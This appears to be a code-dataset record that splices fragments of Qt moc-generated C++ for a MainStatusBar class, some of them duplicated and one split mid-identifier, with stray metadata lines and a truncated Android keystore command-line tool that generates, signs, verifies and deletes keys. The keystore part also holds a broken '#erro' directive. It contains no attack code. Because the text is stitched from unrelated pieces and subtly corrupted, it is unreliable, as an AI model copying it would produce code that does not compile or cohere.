_t->popFilterStatus(); break; case 17: _t->pushBusyStatus((*reinterpret_cast< const QString(*)>(_a[1])),(*reinterpret_cast< const QString(*)>(_a[2]))); break; case 18: _t->pushBusyStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 19: _t->popBusyStatus(); break; case 20: _t->pushProgressStatus((*reinterpret_cast< const QString(*)>(_a[1])),(*reinterpret_cast< bool(*)>(_a[2])),(*reinterpret_cast< bool(*)>(_a[3])),(*reinterpret_cast< gboolean*(*)>(_a[4]))); break; case 21: _t->pushProgressStatus((*reinterpret_cast< const QString(*)>(_a[1])),(*reinterpret_cast< bool(*)>(_a[2])),(*reinterpret_cast< bool(*)>(_a[3]))); break; case 22: _t->pushProgressStatus((*reinterpret_cast< const QString(*)>(_a[1])),(*reinterpret_cast< bool(*)>(_a[2]))); break; case 23: _t->updateProgressStatus((*reinterpret_cast< int(*)>(_a[1]))); break; case 24: _t->popProgressStatus(); break; case 25: _t->selectedFrameChanged((*reinterpret_cast< int(*)>(_a[1]))); break; case 26: _t->updateCaptureStatistics((*reinterpret_cast< capture_session*(*)>(_a[1]))); break; case 27: _t->updateCaptureFixedStatistics((*reinterpret_cast< capture_session*(*)>(_a[1]))); break; case 28: _t->captureEventHandler((*reinterpret_cast< CaptureEvent(*)>(_a[1]))); break; case 29: _t->pushPacketStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 30: _t->popPacketStatus(); break; case 31: _t->toggleBackground((*reinterpret_cast< bool(*)>(_a[1]))); break; case 32: _t->setProfileName(); break; case 33: _t->switchToProfile(); break; case 34: _t->manageProfile(); break; case 35: _t->showProfileMenu((*reinterpret_cast< const QPoint(*)>(_a[1])),(*reinterpret_cast< Qt::MouseButton(*)>(_a[2]))); break; default: ; } } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { switch (_id) { default: *reinterpret_cast<int*>(_a[0]) = -1; break; case 4: switch (*reinterpret_cast<int*>(_a[1])) { default: *reinterpret_cast<int*>(_a[0]) = -1; break; case 0: *reinterpret_cast<int*>(_a[0]) = qRegisterMetaType< FieldInformation* >(); break; } break; case 5: switch (*reinterpret_cast<int*>(_a[1])) { default: *reinterpret_cast<int*>(_a[0]) = -1; break; case 0: *reinterpret_cast<int*>(_a[0]) = qRegisterMetaType< FieldInformation* >(); break; } break; } } else if (_c == QMetaObject::IndexOfMethod) { int *result = reinterpret_cast<int *>(_a[0]); void **func = reinterpret_cast<void **>(_a[1]); { typedef void (MainStatusBar::*_t)(); if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&MainStatusBar::showExpertInfo)) { *result = 0; return; } } { typedef void (MainStatusBar::*_t)(); if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&MainStatusBar::editCaptureComment)) { *result = 1; return; } } { typedef void (MainStatusBar::*_t)(); if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&MainStatusBar::stopLoading)) { *result = 2; return; } } } } const QMetaObject MainStatusBar::staticMetaObject = { { &QStatusBar::staticMetaObject, qt_meta_stringdata_MainStatusBar.data, qt_meta_data_MainStatusBar, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} }; const QMetaObject *MainStatusBar::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *MainStatusBar::qt_metacast(const char *_clname) { if (!_clname) return Q_NULLPTR; if (!strcmp(_clname, qt_meta_stringdata_MainStatusBar.stringdata0)) return static_cast<void*>(const_cast< MainStatusBar*>(this)); return QStatusBar::qt_metacast(_clname); } int MainStatusBar::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = QStatusBar::qt_metacall(_c, _id, _a); if (_id < 0) return _id; if (_c == QMetaObject::InvokeMetaMethod) { if (_id < 36) qt_static_metacall(this, _c, _id, _a); _id -= 36; } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { if (_id < 36) qt_static_metacall(this, _c, _id, _a); _id -= 36; } return _id; } void MainStatusBar::showExpertInfo() { QMetaObject::activate(this, &staticMetaObject, 0, Q_NULLPTR); } void MainStatusBar::editCaptureComment() { QMetaObject::activate(this, &staticMetaObject, 1, Q_NULLPTR); } void MainStatusBar::stopLoading() { QMetaObject::activate(this, &staticMetaObject, 2, Q_NULLPTR); } QT_END_MOC_NAMESPACE
#include "main_status_bar.h" #include <QtCore/qbytearray.h> #include <QtCore/qmetatype.h> #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'main_status_bar.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 67 #error "This file was generated using the moc from 5.6.1. It" #error "cannot be used with the include files from this version of Qt." #error "(The moc has changed too much.)" #endif QT_BEGIN_MOC_NAMESPACE struct qt_meta_stringdata_MainStatusBar_t { QByteArrayData data[52]; char stringdata0[767]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_MainStatusBar_t, stringdata0) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const qt_meta_stringdata_MainStatusBar_t qt_meta_stringdata_MainStatusBar = { { QT_MOC_LITERAL(0, 0, 13), QT_MOC_LITERAL(1, 14, 14), QT_MOC_LITERAL(2, 29, 0), QT_MOC_LITERAL(3, 30, 18), QT_MOC_LITERAL(4, 49, 11), QT_MOC_LITERAL(5, 61, 14), QT_MOC_LITERAL(6, 76, 13), QT_MOC_LITERAL(7, 90, 2), QT_MOC_LITERAL(8, 93, 20), QT_MOC_LITERAL(9, 114, 17), QT_MOC_LITERAL(10, 132, 23), QT_MOC_LITERAL(11, 156, 19), QT_MOC_LITERAL(12, 176, 7), QT_MOC_LITERAL(13, 184, 18), QT_MOC_LITERAL(14, 203, 14), QT_MOC_LITERAL(15, 218, 10), QT_MOC_LITERAL(16, 229, 13), QT_MOC_LITERAL(17, 243, 15), QT_MOC_LITERAL(18, 259, 14), QT_MOC_LITERAL(19, 274, 14), QT_MOC_LITERAL(20, 289, 13), QT_MOC_LITERAL(21, 303, 16), QT_MOC_LITERAL(22, 320, 15), QT_MOC_LITERAL(23, 336, 14), QT_MOC_LITERAL(24, 351, 13), QT_MOC_LITERAL(25, 365, 18), QT_MOC_LITERAL(26, 384, 7), QT_MOC_LITERAL(27, 392, 17), QT_MOC_LITERAL(28, 410, 9), QT_MOC_LITERAL(29, 420, 9), QT_MOC_LITERAL(30, 430, 20), QT_MOC_LITERAL(31, 451, 5), QT_MOC_LITERAL(32, 457, 17), QT_MOC_LITERAL(33, 475, 20), QT_MOC_LITERAL(34, 496, 23), QT_MOC_LITERAL(35, 520, 16), QT_MOC_LITERAL(36, 537, 11), QT_MOC_LITERAL(37, 549, 28), QT_MOC_LITERAL(38, 578, 19), QT_MOC_LITERAL(39, 598, 12), QT_MOC_LITERAL(40, 611, 2), QT_MOC_LITERAL(41, 614, 16), QT_MOC_LITERAL(42, 631, 15), QT_MOC_LITERAL(43, 647, 16), QT_MOC_LITERAL(44, 664, 7), QT_MOC_LITERAL(45, 672, 14), QT_MOC_LITERAL(46, 687, 15), QT_MOC_LITERAL(47, 703, 13), QT_MOC_LITERAL(48, 717, 15), QT_MOC_LITERAL(49, 733, 10), QT_MOC_LITERAL(50, 744, 15), QT_MOC_LITERAL(51, 760, 6) }, "MainStatusBar\0showExpertInfo\0\0" "editCaptureComment\0stopLoading\0" "setCaptureFile\0capture_file*\0cf\0" "selectedFieldChanged\0FieldInformation*\0" "highlightedFieldChanged\0pushTemporaryStatus\0" "message\0popTemporaryStatus\0pushFileStatus\0" "messagetip\0popFileStatus\0pushFieldStatus\0" "popFieldStatus\0pushByteStatus\0" "popByteStatus\0pushFilterStatus\0" "popFilterStatus\0pushBusyStatus\0" "popBusyStatus\0pushProgressStatus\0" "animate\0terminate_is_stop\0gboolean*\0" "stop_flag\0updateProgressStatus\0value\0" "popProgressStatus\0selectedFrameChanged\0" "updateCaptureStatistics\0capture_session*\0" "cap_session\0updateCaptureFixedStatistics\0" "captureEventHandler\0CaptureEvent\0ev\0" "pushPacketStatus\0popPacketStatus\0" "toggleBackground\0enabled\0setProfileName\0" "switchToProfile\0manageProfile\0" "showProfileMenu\0global_pos\0Qt::MouseButton\0" "button" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_MainStatusBar[] = { 7, 0, 0, 0, 36, 14, 0, 0, 0, 0, 0, 0, 0, 3, 1, 0, 194, 2, 0x06 , 3, 0, 195, 2, 0x06 , 4, 0, 196, 2, 0x06 , 5, 1, 197, 2, 0x0a , 8, 1, 200, 2, 0x0a , 10, 1, 203, 2, 0x0a , 11, 1, 206, 2, 0x0a , 13, 0, 209, 2, 0x0a , 14, 2, 210, 2, 0x0a , 14, 1, 215, 2, 0x2a , 16, 0, 218, 2, 0x0a , 17, 1, 219, 2, 0x0a , 18, 0, 222, 2, 0x0a , 19, 1, 223, 2, 0x0a , 20, 0, 226, 2, 0x0a , 21, 1, 227, 2, 0x0a , 22, 0, 230, 2, 0x0a , 23, 2, 231, 2, 0x0a , 23, 1, 236, 2, 0x2a , 24, 0, 239, 2, 0x0a , 25, 4, 240, 2, 0x0a , 25, 3, 249, 2, 0x2a , 25, 2, 256, 2, 0x2a , 30, 1, 261, 2, 0x0a , 32, 0, 264, 2, 0x0a , 33, 1, 265, 2, 0x0a , 34, 1, 268, 2, 0x0a , 37, 1, 271, 2, 0x0a , 38, 1, 274, 2, 0x0a , 41, 1, 277, 2, 0x08 , 42, 0, 280, 2, 0x08 , 43, 1, 281, 2, 0x08 , 45, 0, 284, 2, 0x08 , 46, 0, 285, 2, 0x08 , 47, 0, 286, 2, 0x08 , 48, 2, 287, 2, 0x08 , QMetaType::Void, QMetaType::Void, QMetaType::Void, QMetaType::Void, 0x80000000 | 6, 7, QMetaType::Void, 0x80000000 | 9, 2, QMetaType::Void, 0x80000000 | 9, 2, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, QMetaType::QString, 12, 15, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, QMetaType::QString, 12, 15, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, QMetaType::Bool, QMetaType::Bool, 0x80000000 | 28, 12, 26, 27, 29, QMetaType::Void, QMetaType::QString, QMetaType::Bool, QMetaType::Bool, 12, 26, 27, QMetaType::Void, QMetaType::QString, QMetaType::Bool, 12, 26, QMetaType::Void, QMetaType::Int, 31, QMetaType::Void, QMetaType::Void, QMetaType::Int, 2, QMetaType::Void, 0x80000000 | 35, 36, QMetaType::Void, 0x80000000 | 35, 36, QMetaType::Void, 0x80000000 | 39, 40, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::Bool, 44, QMetaType::Void, QMetaType::Void, QMetaType::Void, QMetaType::Void, QMetaType::QPoint, 0x80000000 | 50, 49, 51, 0 }; void MainStatusBar::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { if (_c == QMetaObject::InvokeMetaMethod) { MainStatusBar *_t = static_cast<MainStatusBar *>(_o); Q_UNUSED(_t) switch (_id) { case 0: _t->showExpertInfo(); break; case 1: _t->editCaptureComment(); break; case 2: _t->stopLoading(); break; case 3: _t->setCaptureFile((*reinterpret_cast< capture_file*(*)>(_a[1]))); break; case 4: _t->selectedFieldChanged((*reinterpret_cast< FieldInformation*(*)>(_a[1]))); break; case 5: _t->highlightedFieldChanged((*reinterpret_cast< FieldInformation*(*)>(_a[1]))); break; case 6: _t->pushTemporaryStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 7: _t->popTemporaryStatus(); break; case 8: _t->pushFileStatus((*reinterpret_cast< const QString(*)>(_a[1])),(*reinterpret_cast< const QString(*)>(_a[2]))); break; case 9: _t->pushFileStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 10: _t->popFileStatus(); break; case 11: _t->pushFieldStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 12: _t->popFieldStatus(); break; case 13: _t->pushByteStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 14: _t->popByteStatus(); break; case 15: _t->pushFilterStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 16: _t->popFilterStatus(); break; case 17: _t->pushBusyStatus((*reinterpret_cast< const QString(*)>(_a[1])),(*reinterpret_cast< const QString(*)>(_a[2]))); break; case 18: _t->pushBusyStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 19: _t->popBusyStatus(); break; case 20: _t->pushProgressStatus((*reinterpret_cast< const QString(*)>(_a[1])),(*reinterpret_cast< bool(*)>(_a[2])),(*reinterpret_cast< bool(*)>(_a[3])),(*reinterpret_cast< gboolean*(*)>(_a[4]))); break; case 21: _t->pushProgressStatus((*reinterpret_cast< const QString(*)>(_a[1])),(*reinterpret_cast< bool(*)>(_a[2])),(*reinterpret_cast< bool(*)>(_a[3]))); break; case 22: _t->pushProgressStatus((*reinterpret_cast< const QString(*)>(_a[1])),(*reinterpret_cast< bool(*)>(_a[2]))); break; case 23: _t->updateProgressStatus((*reinterpret_cast< int(*)>(_a[1]))); break; case 24: _t->popProgressStatus(); break; case 25: _t->selectedFrameChanged((*reinterpret_cast< int(*)>(_a[1]))); break; case 26: _t->updateCaptureStatistics((*reinterpret_cast< capture_session*(*)>(_a[1]))); break; case 27: _t->updateCaptureFixedStatistics((*reinterpret_cast< capture_session*(*)>(_a[1]))); break; case 28: _t->captureEventHandler((*reinterpret_cast< CaptureEvent(*)>(_a[1]))); break; case 29: _t->pushPacketStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 30: _t->popPacketStatus(); break; case 31: _t->toggleBackground((*reinterpret_cast< bool(*)>(_a[1]))); break; case 32: _t->setProfileName(); break; case 33: _t->switchToProfile(); break; case 34: _t->manageProfile(); break; case 35: _t->showProfileMenu((*reinterpret_cast< const QPoint(*)>(_a[1])),(*reinterpret_cast< Qt::MouseButton(*)>(_a[2]))); break; default: ; } } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { switch (_id) { default: *reinterpret_cast<int*>(_a[0]) = -1; break; case 4: switch (*reinterpret_cast<int*>(_a[1])) { default: *reinterpret_cast<int*>(_a[0]) = -1; break; case 0: *reinterpret_cast<int*>(_a[0]) = qRegisterMetaType< FieldInformation* >(); break; } break; case 5: switch (*reinterpret_cast<int*>(_a[1])) { default: *reinterpret_cast<int*>(_a[0]) = -1; break; case 0: *reinterpret_cast<int*>(_a[0]) = qRegisterMetaType< FieldInformation* >(); break; } break; } } else if (_c == QMetaObject::IndexOfMethod) { int *result = reinterpret_cast<int *>(_a[0]); void **func = reinterpret_cast<void **>(_a[1]); { typedef void (MainStatusBar::*_t)(); if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&MainStatusBar::showExpertInfo)) { *result = 0; return; } } { typedef void (MainStatusBar::*_t)(); if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&MainStatusBar::editCaptureComment)) { *result = 1; return; } } { typedef void (MainStatusBar::*_t)(); if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&MainStatusBar::stopLoading)) { *result = 2; return; } } } } const QMetaObject MainStatusBar::staticMetaObject = { { &QStatusBar::staticMetaObject, qt_meta_stringdata_MainStatusBar.data, qt_meta_data_MainStatusBar, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} }; const QMetaObject *MainStatusBar::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *MainStatusBar::qt_metacast(const char *_clname) { if (!_clname) return Q_NULLPTR; if (!strcmp(_clname, qt_meta_stringdata_MainStatusBar.stringdata0)) return static_cast<void*>(const_cast< MainStatusBar*>(this)); return QStatusBar::qt_metacast(_clname); } int MainStatusBar::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = QStatusBar::qt_metacall(_c, _id, _a); if (_id < 0) return _id; if (_c == QMetaObject::InvokeMetaMethod) { if (_id < 36) qt_static_metac
void MainStatusBar::showExpertInfo() { QMetaObject::activate(this, &staticMetaObject, 0, Q_NULLPTR); } void MainStatusBar::editCaptureComment() { QMetaObject::activate(this, &staticMetaObject, 1, Q_NULLPTR); } void MainStatusBar::stopLoading() { QMetaObject::activate(this, &staticMetaObject, 2, Q_NULLPTR); } QT_END_MOC_NAMESPACE
all(this, _c, _id, _a); _id -= 36; } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { if (_id < 36) qt_static_metacall(this, _c, _id, _a); _id -= 36; } return _id; }
function_block-function_prefixed
[]
C++
security/keystore/keystore_cli_v2.cpp
Keneral/asystem
df12381b72ef3d629c8efc61100cc8c714195320
#include <cstdio> #include <memory> #include <string> #include <vector> #include "base/command_line.h" #include "base/files/file_util.h" #include "keymaster/authorization_set.h" #include "keymaster/keymaster_tags.h" #include "keystore/keystore_client_impl.h" using base::CommandLine; using keymaster::AuthorizationSet; using keymaster::AuthorizationSetBuilder; using keystore::KeystoreClient; namespace { struct TestCase { std::string name; bool required_for_brillo_pts; AuthorizationSet parameters; }; void PrintUsageAndExit() { printf("Usage: keystore_client_v2 <command> [options]\n"); printf("Commands: brillo-platform-test [--prefix=<test_name_prefix>]\n" " list-brillo-tests\n" " add-entropy --input=<entropy>\n" " generate --name=<key_name>\n" " get-chars --name=<key_name>\n" " export --name=<key_name>\n" " delete --name=<key_name>\n" " delete-all\n" " exists --name=<key_name>\n" " list [--prefix=<key_name_prefix>]\n" " sign-verify --name=<key_name>\n" " [en|de]crypt --name=<key_name> --in=<file> --out=<file>\n"); exit(1); } std::unique_ptr<KeystoreClient> CreateKeystoreInstance() { return std::unique_ptr<KeystoreClient>(new keystore::KeystoreClientImpl); } #ifndef KEYMASTER_NAME_TAGS #erro KEYMASTER_NAME_TAGS must be defined #endif void PrintTags(const AuthorizationSet& parameters) { const keymaster_key_param_t* iter = nullptr; for (iter = parameters.begin(); iter != parameters.end(); ++iter) { printf(" %s\n", keymaster::StringifyTag(iter->tag)); } } void PrintKeyCharacteristics(const AuthorizationSet& hardware_enforced_characteristics, const AuthorizationSet& software_enforced_characteristics) { printf("Hardware:\n"); PrintTags(hardware_enforced_characteristics); printf("Software:\n"); PrintTags(software_enforced_characteristics); } bool TestKey(const std::string& name, bool required, const AuthorizationSet& parameters) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); AuthorizationSet hardware_enforced_characteristics; AuthorizationSet software_enforced_characteristics; int32_t result = keystore->generateKey("tmp", parameters, &hardware_enforced_characteristics, &software_enforced_characteristics); if (result != KM_ERROR_OK) { LOG(ERROR) << "Failed to generate key: " << result; printf("%s Result: ABORT\n", name.c_str()); return false; } result = keystore->deleteKey("tmp"); if (result != KM_ERROR_OK) { LOG(ERROR) << "Failed to delete key: " << result; printf("%s Result: ABORT\n", name.c_str()); return false; } printf("===============================================================\n"); printf("%s Key Characteristics:\n", name.c_str()); PrintKeyCharacteristics(hardware_enforced_characteristics, software_enforced_characteristics); bool hardware_backed = (hardware_enforced_characteristics.size() > 0); if (software_enforced_characteristics.GetTagCount(KM_TAG_PURPOSE) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_ALGORITHM) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_KEY_SIZE) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_RSA_PUBLIC_EXPONENT) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_DIGEST) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_PADDING) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_BLOCK_MODE) > 0) { VLOG(1) << "Hardware-backed key but required characteristics enforced in software."; hardware_backed = false; } const char kBoldRedFail[] = "\033[1;31mFAIL\033[0m"; const char kBoldGreenPass[] = "\033[1;32mPASS\033[0m"; const char kBoldYellowWarn[] = "\033[1;33mWARN\033[0m"; printf("[%s] %s\n", hardware_backed ? kBoldGreenPass : (required ? kBoldRedFail : kBoldYellowWarn), name.c_str()); return (hardware_backed || !required); } AuthorizationSet GetRSASignParameters(uint32_t key_size, bool sha256_only) { AuthorizationSetBuilder parameters; parameters.RsaSigningKey(key_size, 65537) .Digest(KM_DIGEST_SHA_2_256) .Padding(KM_PAD_RSA_PKCS1_1_5_SIGN) .Padding(KM_PAD_RSA_PSS) .Authorization(keymaster::TAG_NO_AUTH_REQUIRED); if (!sha256_only) { parameters.Digest(KM_DIGEST_SHA_2_224) .Digest(KM_DIGEST_SHA_2_384) .Digest(KM_DIGEST_SHA_2_512); } return parameters.build(); } AuthorizationSet GetRSAEncryptParameters(uint32_t key_size) { AuthorizationSetBuilder parameters; parameters.RsaEncryptionKey(key_size, 65537) .Padding(KM_PAD_RSA_PKCS1_1_5_ENCRYPT) .Padding(KM_PAD_RSA_OAEP) .Authorization(keymaster::TAG_NO_AUTH_REQUIRED); return parameters.build(); } AuthorizationSet GetECDSAParameters(uint32_t key_size, bool sha256_only) { AuthorizationSetBuilder parameters; parameters.EcdsaSigningKey(key_size) .Digest(KM_DIGEST_SHA_2_256) .Authorization(keymaster::TAG_NO_AUTH_REQUIRED); if (!sha256_only) { parameters.Digest(KM_DIGEST_SHA_2_224) .Digest(KM_DIGEST_SHA_2_384) .Digest(KM_DIGEST_SHA_2_512); } return parameters.build(); } AuthorizationSet GetAESParameters(uint32_t key_size, bool with_gcm_mode) { AuthorizationSetBuilder parameters; parameters.AesEncryptionKey(key_size).Authorization(keymaster::TAG_NO_AUTH_REQUIRED); if (with_gcm_mode) { parameters.Authorization(keymaster::TAG_BLOCK_MODE, KM_MODE_GCM) .Authorization(keymaster::TAG_MIN_MAC_LENGTH, 128); } else { parameters.Authorization(keymaster::TAG_BLOCK_MODE, KM_MODE_ECB); parameters.Authorization(keymaster::TAG_BLOCK_MODE, KM_MODE_CBC); parameters.Authorization(keymaster::TAG_BLOCK_MODE, KM_MODE_CTR); } return parameters.build(); } AuthorizationSet GetHMACParameters(uint32_t key_size, keymaster_digest_t digest) { AuthorizationSetBuilder parameters; parameters.HmacKey(key_size) .Digest(digest) .Authorization(keymaster::TAG_MIN_MAC_LENGTH, 224) .Authorization(keymaster::TAG_NO_AUTH_REQUIRED); return parameters.build(); } std::vector<TestCase> GetTestCases() { TestCase test_cases[] = { {"RSA-2048 Sign", true, GetRSASignParameters(2048, true)}, {"RSA-2048 Sign (more digests)", false, GetRSASignParameters(2048, false)}, {"RSA-3072 Sign", false, GetRSASignParameters(3072, false)}, {"RSA-4096 Sign", false, GetRSASignParameters(4096, false)}, {"RSA-2048 Encrypt", true, GetRSAEncryptParameters(2048)}, {"RSA-3072 Encrypt", false, GetRSAEncryptParameters(3072)}, {"RSA-4096 Encrypt", false, GetRSAEncryptParameters(4096)}, {"ECDSA-P256 Sign", true, GetECDSAParameters(256, true)}, {"ECDSA-P256 Sign (more digests)", false, GetECDSAParameters(256, false)}, {"ECDSA-P224 Sign", false, GetECDSAParameters(224, false)}, {"ECDSA-P384 Sign", false, GetECDSAParameters(384, false)}, {"ECDSA-P521 Sign", false, GetECDSAParameters(521, false)}, {"AES-128", true, GetAESParameters(128, false)}, {"AES-256", true, GetAESParameters(256, false)}, {"AES-128-GCM", false, GetAESParameters(128, true)}, {"AES-256-GCM", false, GetAESParameters(256, true)}, {"HMAC-SHA256-16", true, GetHMACParameters(16, KM_DIGEST_SHA_2_256)}, {"HMAC-SHA256-32", true, GetHMACParameters(32, KM_DIGEST_SHA_2_256)}, {"HMAC-SHA256-64", false, GetHMACParameters(64, KM_DIGEST_SHA_2_256)}, {"HMAC-SHA224-32", false, GetHMACParameters(32, KM_DIGEST_SHA_2_224)}, {"HMAC-SHA384-32", false, GetHMACParameters(32, KM_DIGEST_SHA_2_384)}, {"HMAC-SHA512-32", false, GetHMACParameters(32, KM_DIGEST_SHA_2_512)}, }; return std::vector<TestCase>(&test_cases[0], &test_cases[arraysize(test_cases)]); } int BrilloPlatformTest(const std::string& prefix) { int test_count = 0; int fail_count = 0; std::vector<TestCase> test_cases = GetTestCases(); for (const auto& test_case : test_cases) { if (!prefix.empty() && test_case.name.find(prefix) != 0) { continue; } ++test_count; if (!TestKey(test_case.name, test_case.required_for_brillo_pts, test_case.parameters)) { VLOG(1) << "Test failed: " << test_case.name; ++fail_count; } } return fail_count; } int ListTestCases() { const char kBoldGreenRequired[] = "\033[1;32mREQUIRED\033[0m"; const char kBoldYellowRecommended[] = "\033[1;33mRECOMMENDED\033[0m"; std::vector<TestCase> test_cases = GetTestCases(); for (const auto& test_case : test_cases) { printf("%s : %s\n", test_case.name.c_str(), test_case.required_for_brillo_pts ? kBoldGreenRequired : kBoldYellowRecommended); } return 0; } std::string ReadFile(const std::string& filename) { std::string content; base::FilePath path(filename); if (!base::ReadFileToString(path, &content)) { printf("Failed to read file: %s\n", filename.c_str()); exit(1); } return content; } void WriteFile(const std::string& filename, const std::string& content) { base::FilePath path(filename); int size = content.size(); if (base::WriteFile(path, content.data(), size) != size) { printf("Failed to write file: %s\n", filename.c_str()); exit(1); } } int AddEntropy(const std::string& input) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); int32_t result = keystore->addRandomNumberGeneratorEntropy(input); printf("AddEntropy: %d\n", result); return result; } int GenerateKey(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); AuthorizationSetBuilder params; params.RsaSigningKey(2048, 65537) .Digest(KM_DIGEST_SHA_2_224) .Digest(KM_DIGEST_SHA_2_256) .Digest(KM_DIGEST_SHA_2_384) .Digest(KM_DIGEST_SHA_2_512) .Padding(KM_PAD_RSA_PKCS1_1_5_SIGN) .Padding(KM_PAD_RSA_PSS) .Authorization(keymaster::TAG_NO_AUTH_REQUIRED); AuthorizationSet hardware_enforced_characteristics; AuthorizationSet software_enforced_characteristics; int32_t result = keystore->generateKey(name, params.build(), &hardware_enforced_characteristics, &software_enforced_characteristics); printf("GenerateKey: %d\n", result); if (result == KM_ERROR_OK) { PrintKeyCharacteristics(hardware_enforced_characteristics, software_enforced_characteristics); } return result; } int GetCharacteristics(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); AuthorizationSet hardware_enforced_characteristics; AuthorizationSet software_enforced_characteristics; int32_t result = keystore->getKeyCharacteristics(name, &hardware_enforced_characteristics, &software_enforced_characteristics); printf("GetCharacteristics: %d\n", result); if (result == KM_ERROR_OK) { PrintKeyCharacteristics(hardware_enforced_characteristics, software_enforced_characteristics); } return result; } int ExportKey(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); std::string data; int32_t result = keystore->exportKey(KM_KEY_FORMAT_X509, name, &data); printf("ExportKey: %d (%zu)\n", result, data.size()); return result; } int DeleteKey(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); int32_t result = keystore->deleteKey(name); printf("DeleteKey: %d\n", result); return result; } int DeleteAllKeys() { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); int32_t result = keystore->deleteAllKeys(); printf("DeleteAllKeys: %d\n", result); return result; } int DoesKeyExist(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); printf("DoesKeyExist: %s\n", keystore->doesKeyExist(name) ? "yes" : "no"); return 0; } int List(const std::string& prefix) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); std::vector<std::string> key_list; if (!keystore->listKeys(prefix, &key_list)) { printf("ListKeys failed.\n"); return 1; } printf("Keys:\n"); for (const auto& key_name : key_list) { printf(" %s\n", key_name.c_str()); } return 0; } int SignAndVerify(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); AuthorizationSetBuilder sign_params; sign_params.Padding(KM_PAD_RSA_PKCS1_1_5_SIGN); sign_params.Digest(KM_DIGEST_SHA_2_256); AuthorizationSet output_params; keymaster_operation_handle_t handle; int32_t result = keystore->beginOperation(KM_PURPOSE_SIGN, name, sign_params.build(), &output_params, &handle); if (result != KM_ERROR_OK) { printf("Sign: BeginOperation failed: %d\n", result); return result; } AuthorizationSet empty_params; size_t num_input_bytes_consumed; std::string output_data; result = keystore->updateOperation(handle, empty_params, "data_to_sign", &num_input_bytes_consumed, &output_params, &output_data); if (result != KM_ERROR_OK) { printf("Sign: UpdateOperation failed: %d\n", result); return result; } result = keystore->finishOperation(handle, empty_params, std::string() , &output_params, &output_data); if (result != KM_ERROR_OK) { printf("Sign: FinishOperation failed: %d\n", result); return result; } printf("Sign: %zu bytes.\n", output_data.size()); std::string signature_to_verify = output_data; output_data.clear(); result = keystore->beginOperation(KM_PURPOSE_VERIFY, name, sign_params.build(), &output_params, &handle); if (result != KM_ERROR_OK) { printf("Verify: BeginOperation failed: %d\n", result); return result; } result = keystore->updateOperation(handle, empty_params, "data_to_sign", &num_input_bytes_consumed, &output_params, &output_data); if (result != KM_ERROR_OK) { printf("Verify: UpdateOperation failed: %d\n", result); return result; } result = keystore->finishOperation(handle, empty_params, signature_to_verify, &output_params, &output_data); if (result == KM_ERROR_VERIFICATION_FAILED) { printf("Verify: Failed to verify signature.\n"); return result; } if (result != KM_ERROR_OK) { printf("Verify: FinishOperation failed: %d\n", result); return result; } printf("Verify: OK\n"); return 0; } int Encrypt(const std::string& key_name, const std::string& input_filename, const std::string& output_filename) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); std::string input = ReadFile(input_filename); std::string output; if (!keystore->encryptWithAuthentication(key_name, input, &output)) { printf("EncryptWithAuthentication failed.\n"); return 1; } 